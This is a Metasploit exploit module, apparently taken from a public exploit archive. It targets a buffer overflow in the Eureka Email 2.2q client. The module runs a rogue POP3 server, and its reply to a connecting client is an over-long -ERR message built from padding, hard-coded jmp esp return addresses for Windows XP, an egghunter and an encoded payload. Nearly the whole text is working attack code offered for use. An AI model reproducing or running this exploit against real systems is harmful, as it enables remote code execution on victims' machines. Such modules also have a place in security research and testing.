|
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the Eureka Email 2.2q
client that is triggered through an excessively long ERR message.
},
'Author' => [ 'Francis Provencher', 'Dr_IDE', 'dookie', ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724
,
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# Unleash the Egghunter!
eh_stub, eh_egg = generate_egghunter
buffer = "-ERR "
buffer << rand_text_alpha_upper(710)
buffer << [target.ret].pack('V')
buffer << make_nops(10)
buffer << eh_stub
buffer << make_nops(200)
buffer << rand_text_alpha_upper(2000)
buffer << eh_egg * 2
buffer << payload.encoded
client.put(buffer)
end
end
|
推荐
评论(0条)
